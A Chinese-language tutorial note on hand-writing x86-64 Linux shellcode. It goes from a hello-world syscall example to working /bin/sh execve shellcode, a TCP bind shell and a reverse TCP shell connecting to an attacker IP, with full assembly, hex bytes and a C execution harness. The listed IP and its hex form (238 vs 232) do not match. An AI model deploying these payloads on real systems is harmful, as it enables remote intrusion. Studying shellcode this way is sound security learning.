学习自:《Penetration Testing with Shellcode》
基本过程是首先使用汇编通过系统调用的方式实现程序功能,编译成可执行文件,然后使用 objdump 进行机器码提取
先看一个汇编通过系统调用写 Hello World 的例子
要输出一个 hello world,可以通过 write 函数来实现,通过下面的方法查找 write 函数的系统调用号
找系统调用号
我用的 ubuntu 16.04 是这俩文件(找出来的是十进制的)cat /usr/include/asm/unistd_32.h | grep write
cat /usr/include/asm/unistd_64.h | grep write
yichen@ubuntu:~$ cat /usr/include/asm/unistd_64.h | grep write
#define __NR_write 1
#define __NR_pwrite64 18
#define __NR_writev 20
#define __NR_pwritev 296
#define __NR_process_vm_writev 311
编写汇编程序
使用 man 2 write
可以找到 write 函数的参数ssize_t write(int fd, const void *buf, size_t count);
第一个参数是三种输出模式
0 | 1 | 2 |
---|---|---|
stdin | stdout | stderr |
标准输入 | 标准输出 | 标准错误 |
第二个参数是字符串的指针,第三个参数是输出的字数
而 64 位的程序,寄存器传参:rdi, rsi, rdx, rcx, r8, r9 剩下的才用栈
所以 rdi 应该是 1,rsi 应该是字符串的地址,rdx 应该是长度
global _start
section .text
_start:
mov rax, 1 ;设置rax寄存器为write的系统调用号
mov rdi, 1 ;设置rdi为write的第一个参数
mov rsi, hello_world ;设置rsi为write的第二个参数
mov rdx, length ;设置rdx为write的第三个参数
syscall ;调用syscall
section .data
hello_world: db 'hello world',0xa ;字符串hello world以及换行
length: equ $-hello_world ;获取字符串长度
把代码保存为 hello-world.asm 然后汇编、链接
应该会这样显示:
yichen@ubuntu:~$ nasm -felf64 hello-world.asm -o hello-world.o
yichen@ubuntu:~$ ld hello-world.o -o hello-world
yichen@ubuntu:~$ ./hello-world
hello world
段错误 (核心已转储)
因为我们还没有让他正常退出,在后面 exit 的 syscall,让他正常退出即可
mov rax,60
mov rdi,0
syscall
提取shellcode
使用 objdump 提取 shellcode,这一长串的魔法般的正则我就不解释了我也不会
objdump -M intel -D hello-world | grep '[0-9a-f]:' | grep -v 'file' | cut -f2 -d: | cut -f1-7 -d' ' | tr -s ' ' | tr '\t' ' ' | sed 's/ $//g' | sed 's/ /\\\x/g' | paste -d '' -s
yichen@ubuntu:~$ objdump -M intel -D hello-world | grep '[0-9a-f]:' | grep -v 'file' | cut -f2 -d: | cut -f1-7 -d' ' | tr -s ' ' | tr '\t' ' ' | sed 's/ $//g' | sed 's/ /\\\x/g' | paste -d '' -s
\xb8\x01\x00\x00\x00\xbf\x01\x00\x00\x00\x48\xbe\xd8\x00\x60\x00\x00\x00\x00\x00\xba\x0c\x00\x00\x00\x0f\x05\xb8\x3c\x00\x00\x00\xbf\x00\x00\x00\x00\x0f\x05\x68\x65\x6c\x6c\x6f\x20\x77\x6f\x72\x6c\x64\x0a
使用shellcode
#include<stdio.h>
#include<string.h>
unsigned char code[]="\xb8\x01\x00\x00\x00\xbf\x01\x00\x00\x00\x48\xbe\xd8\x00\x60\x00\x00\x00\x00\x00\xba\x0c\x00\x00\x00\x0f\x05\xb8\x3c\x00\x00\x00\xbf\x00\x00\x00\x00\x0f\x05\x68\x65\x6c\x6c\x6f\x20\x77\x6f\x72\x6c\x64\x0a";
int main(){
printf("shellcode length:%d\n",(int)strlen(code));
int (*ret)()=(int(*)())code;
ret();
}
编译的时候需要关掉栈不可执行,当你去执行的时候会发现出错了
yichen@ubuntu:~$ gcc -z execstack -o test 1.c
yichen@ubuntu:~$ ./test
shellcode length:2
t
因为 shellcode 中存在一些 \x00,我们称为:bad character,它会使字符串截断,就没有后面什么事情了,所以要想办法消除这些 bad character
bad character 列表 | ||
---|---|---|
00 | \0 | null |
0A | \n | 回车换行 |
FF | \f | 换页 |
0D | \r | 回车 |
消除bad character
来看一下这些 bad character 是怎么形成的
yichen@ubuntu:~$ objdump -d -M intel hello-world
hello-world: 文件格式 elf64-x86-64
Disassembly of section .text:
00000000004000b0 <_start>:
4000b0: b8 01 00 00 00 mov eax,0x1
4000b5: bf 01 00 00 00 mov edi,0x1
4000ba: 48 be d8 00 60 00 00 movabs rsi,0x6000d8
4000c1: 00 00 00
4000c4: ba 0c 00 00 00 mov edx,0xc
4000c9: 0f 05 syscall
4000cb: b8 3c 00 00 00 mov eax,0x3c
4000d0: bf 00 00 00 00 mov edi,0x0
4000d5: 0f 05 syscall
针对这种的 mov eax,0x1
,可以使用对寄存器的一部分赋值实现,比如:mov al,0x1
还可以通过 xor rax,rax
先把 rax 置为 0,然后 add rax,0x1
实现
看一下效果:5、6、7 行已经没有 bad character 了
yichen@ubuntu:~$ objdump -d -M intel hello-world
hello-world: 文件格式 elf64-x86-64
Disassembly of section .text:
00000000004000b0 <_start>:
4000b0: b0 01 mov al,0x1
4000b2: 48 31 ff xor rdi,rdi
4000b5: 48 83 c7 01 add rdi,0x1
4000b9: 48 be d8 00 60 00 00 movabs rsi,0x6000d8
4000c0: 00 00 00
4000c3: ba 0c 00 00 00 mov edx,0xc
4000c8: 0f 05 syscall
4000ca: b8 3c 00 00 00 mov eax,0x3c
4000cf: bf 00 00 00 00 mov edi,0x0
4000d4: 0f 05 syscall
还有就是地址的问题,下面有几种方法解决:
relative address technique
通过 rel 相对 RIP 偏移找到变量的位置,等到程序执行的时候会使用 rip 减去与 hello_world 的差值,从而获得 hello_world 在内存中的位置
global _start
section .text
_start:
jmp code
hello_world:db 'hello world',0xa
code:
mov al,1
xor rdi,rdi
add rdi,1
lea rsi,[rel hello_world]
xor rdx,rdx
add rdx,12
syscall
xor rax,rax
add rax,60
xor rdi,rdi
syscall
jmp-call technique
通过在字符串前面 call 把字符串的地址压栈,然后 pop 获取
global _start
section .text
_start:
jmp string ;首先会跳转到 string
code:
pop rsi ;此时可以把压在栈上的hello_world的地址获取到
mov al,1
xor rdi,rdi
add rdi,1
xor rdx,rdx
add rdx,12
syscall
xor rax,rax
add rax,60
xor rdi,rdi
syscall
string:
call code ;call会把返回地址压栈,然后执行code的代码
hello_world:db 'hello world',0xa
stack technique
借助栈来存放,需要提前设置好字符串的十六进制逆序,用python的string[::-1].encode('hex')
>>> string = "hello world\n"
>>> string[::-1].encode('hex')
'0a646c726f77206f6c6c6568'
把需要的内容放在栈上,通过 rsp 来获得指向内容的指针(push 只能放四字节?)
global _start
section .text
_start:
xor rax,rax
add rax,1
mov rdi,rax
push 0x0a646c72
mov rbx,0x6f77206f6c6c6568
push rbx
mov rsi,rsp ;rsp就是栈顶的地址,也就是字符串在栈上的地址
xor rdx,rdx
add rdx,12
syscall
xor rax,rax
add rax,60
xor rdi,rdi
syscall
用execve写个shell
学会了这些基本的消除 bad character 的方法之后来写个真正的 shellcode 试试 :::success 64 位,寄存器传参:rdi, rsi, rdx, rcx, r8, r9 剩下的才用栈 :::
一个可以获得 shell 的 C 语言代码如下
char *const argv[]={"/bin/sh",NULL};
execve("/bin/sh",argv,NULL);
不知道为啥,之前学 pwn 的时候只需要第一个参数就可以了,但是这里要两个呜呜呜
想办法放到对应的寄存器就行
/bin/sh 参数用 python 生成逆序的十六进制,这里多加一个 / 用来占空,防止出现 0x00
>>> string = "//bin/sh"
>>> string[::-1].encode('hex')
'68732f6e69622f2f'
一开始往栈上压入一个 0x00,用来截断 /bin/sh,顺便把第三个参数 rdx 的 NULL 设置好xor rax,rax
push rax
mov rdx,rsp
用 stack technique 把这个参数压到栈上,然后给 rsp 这样就设置好了第一个参数mov rbx,0x68732f6e69622f2f
push rbx
mov rdi,rsp
第二个参数是一个指针,所以把 rdi 压栈,获取到指针push rax
;这里再次 push 的 rax 作为截断push rdi
mov rsi,rsp
以及系统调用号是 59,最后加一个 syscalladd rax,59
syscall
把提取的 shellcode 放到上面的代码中编译,可以使用,漂亮!~
yichen@ubuntu:~$ gcc -z execstack -o test 1.c
yichen@ubuntu:~$ ./test
shellcode length:32
$ whoami
yichen
TCP bind shell
靶机开启一个端口监听,等待我们去连接,这样的方式容易被防火墙阻断和记录
C 语言代码如下:
#include <sys/socket.h>
#include <sys/types.h>
#include <stdlib.h>
#include <unistd.h>
#include <netinet/in.h>
int main(void)
{
int clientfd, sockfd;
int port = 1234; //设置绑定的端口
struct sockaddr_in mysockaddr;
sockfd = socket(AF_INET, SOCK_STREAM, 0);
mysockaddr.sin_family = AF_INET;
mysockaddr.sin_port = htons(port);
mysockaddr.sin_addr.s_addr = INADDR_ANY;
bind(sockfd, (struct sockaddr *) &mysockaddr, sizeof(mysockaddr));
listen(sockfd, 1);
clientfd = accept(sockfd, NULL, NULL);
dup2(clientfd, 0);
dup2(clientfd, 1);
dup2(clientfd, 2);
char * const argv[] = {"sh",NULL, NULL};
execve("/bin/sh", argv, NULL);
return 0;
}
接下来使用 syscall 依次实现这个程序
sockfd = socket(AF_INET, SOCK_STREAM, 0);
查找 socket 的系统调用号是 41
xor rax,rax
add rax,41
xor rdi,rdi
add rdi,2 ;AF_INET用2表示
xor rsi,rsi
inc rsi ;SOCK_STREAM用1表示
xor rdx,rdx ;第三个参数为0
syscall
函数调用返回值保存在 RAX 寄存器,bind 函数用 sockfd 做参数,可以直接用mov rdi,rax
接下来填充 bind 函数的第二个参数 mysockaddr 结构体,因为后面 bind 调用的时候用的是指针,所以可以压到栈上去,然后拿到指针。应该怎么填充?可以使用 GDB 调试看一下 C 语言程序内存的值(gcc 加上 -g
参数可以直接 b 15
断在代码的第 15 行)
Breakpoint 1, main () at 1.c:15
15 bind(sockfd, (struct sockaddr *) &mysockaddr, sizeof(mysockaddr));
gdb-peda$ p &mysockaddr
$1 = (struct sockaddr_in *) 0x7fffffffdd30
gdb-peda$ p mysockaddr
$2 = {
sin_family = 0x2,
sin_port = 0xd204,
sin_addr = {
s_addr = 0x0
},
sin_zero = "\000\000\000\000\000\000\000"
}
gdb-peda$ x/4gx 0x7fffffffdd30
0x7fffffffdd30: 0x00000000d2040002 0x0000000000000000
0x7fffffffdd40: 0x0000000000400850 0x0000000000400650
可以看到显示的是:两个字节的 sin_family,两个字节的 sin_port,以及八个字节的 sin_addr.s_addr,又因为栈的增长方向是从高地址往低地址的,所以要倒着写
xor rax, rax
push rax ;sin_addr.s_addr
push word 0xd204 ;sin_port
push word 0x02 ;sin_family
mov rsi, rsp
其中 sin_port 的值这样得出来:
>>> import socket
>>> hex(socket.htons(1234))
'0xd204'
构造完成 mysockaddr 结构体后,查找 bind 的调用号是 49,调用
xor rdx, rdx
add rdx, 16 ;bind的第三个参数
xor rax, rax
add rax, 49
syscall
然后是 listen 函数,因为第一个参数还是 rdi 的 sockfd 所以省去一步
xor rax, rax
add rax, 50
xor rsi , rsi
inc rsi
syscall
accept 函数
xor rax , rax
add rax, 43
xor rsi, rsi
xor rdx, rdx
syscall
accept 函数的返回值在 rax,直接给 dup2 函数用
mov rdi, rax
xor rax,rax
add rax, 33
xor rsi, rsi
syscall
xor rax,rax
add rax, 33
inc rsi
syscall
xor rax,rax
add rax, 33
inc rsi
syscall
execve函数直接用上面的就可以了
xor rax, rax
push rax
mov rdx, rsp
mov rbx, 0x68732f6e69622f2f
push rbx
mov rdi, rsp
push rax
push rdi
mov rsi,rsp
add rax, 59
syscall
总的汇编代码
global _start
section .text
_start:
;Socket syscall
xor rax, rax
add rax, 41
xor rdi, rdi
add rdi, 2
xor rsi, rsi
inc rsi
xor rdx, rdx
syscall
; Save the sockfd in RDI Register
mov rdi, rax
;Creating the structure
xor rax, rax
push rax
push word 0xd204
push word 0x02
;Bind syscall
mov rsi, rsp
xor rdx, rdx
add rdx, 16
xor rax, rax
add rax, 49
syscall
;Listen syscall
xor rax, rax
add rax, 50
xor rsi , rsi
inc rsi
syscall
;Accept syscall
xor rax , rax
add rax, 43
xor rsi, rsi
xor rdx, rdx
syscall
;Store clientfd in RBX register
mov rbx, rax
;Dup2 syscall to stdin
mov rdi, rbx
xor rax,rax
add rax, 33
xor rsi, rsi
syscall
;Dup2 syscall to stdout
xor rax,rax
add rax, 33
inc rsi
syscall
;Dup2 syscall to stderr
xor rax,rax
add rax, 33
inc rsi
syscall
;Execve syscall with /bin/sh
xor rax, rax
push rax
mov rdx, rsp
mov rbx, 0x68732f6e69622f2f
push rbx
mov rdi, rsp
push rax
push rdi
mov rsi,rsp
add rax, 59
syscall
提取处 shellcode 后放到上面的使用 shellcode 的模板上,编译好运行,通过 netstat -ntlp 可以看到 1234 端口开放,然后 nc 127.0.0.1 1234
就可以获得 shell 了
Reverse TCP shell
这种方法是我们首先在自己的机器上监听一个端口,然后让靶机访问我们,这样不会被防火墙拦截。
先看看 C 语言的代码
#include <sys/socket.h>
#include <sys/types.h>
#include <stdlib.h>
#include <unistd.h>
#include <netinet/in.h>
#include <arpa/inet.h>
int main(void)
{
int sockfd;
int port = 1234;
struct sockaddr_in mysockaddr;
sockfd = socket(AF_INET, SOCK_STREAM, 0);
mysockaddr.sin_family = AF_INET;
mysockaddr.sin_port = htons(port);
mysockaddr.sin_addr.s_addr = inet_addr("192.168.238.1");
connect(sockfd, (struct sockaddr *) &mysockaddr,sizeof(mysockaddr));
dup2(sockfd, 0);
dup2(sockfd, 1);
dup2(sockfd, 2);
char * const argv[] = {"/bin/sh", NULL};
execve("/bin/sh", argv, NULL);
return 0;
}
基本差不多,socket 函数
xor rax, rax
add rax, 41
xor rdi, rdi
add rdi, 2 ;AF_INET用2表示
xor rsi, rsi
inc rsi ;SOCK_STREAM用1表示
xor rdx, rdx ;第三个参数为0
syscall
填充 mysockaddr 结构体
IP 地址的十六进制形式这样获得
>>> import socket
>>> socket.inet_aton('192.168.232.1')[::-1]
'\x01\xe8\xa8\xc0'
也就是 0x01e8a8c0
mov rdi, rax ;sockfd
xor rax, rax
push dword 0x01e8a8c0 ;sin_addr.s_addr
push word 0xd204 ;sin_port
push word 0x02 ;sin_family
mov rsi, rsp
xor rdx, rdx
add rdx, 16
xor rax, rax
add rax, 42
syscall
三个 dup2
xor rax, rax
add rax, 33
xor rsi, rsi
syscall
xor rax, rax
add rax, 33
inc rsi
syscall
xor rax, rax
add rax, 33
inc rsi
syscall
execve
xor rax, rax
push rax
mov rdx, rsp
mov rbx, 0x68732f6e69622f2f
push rbx
mov rdi, rsp
push rax
push rdi
mov rsi,rsp
add rax, 59
syscall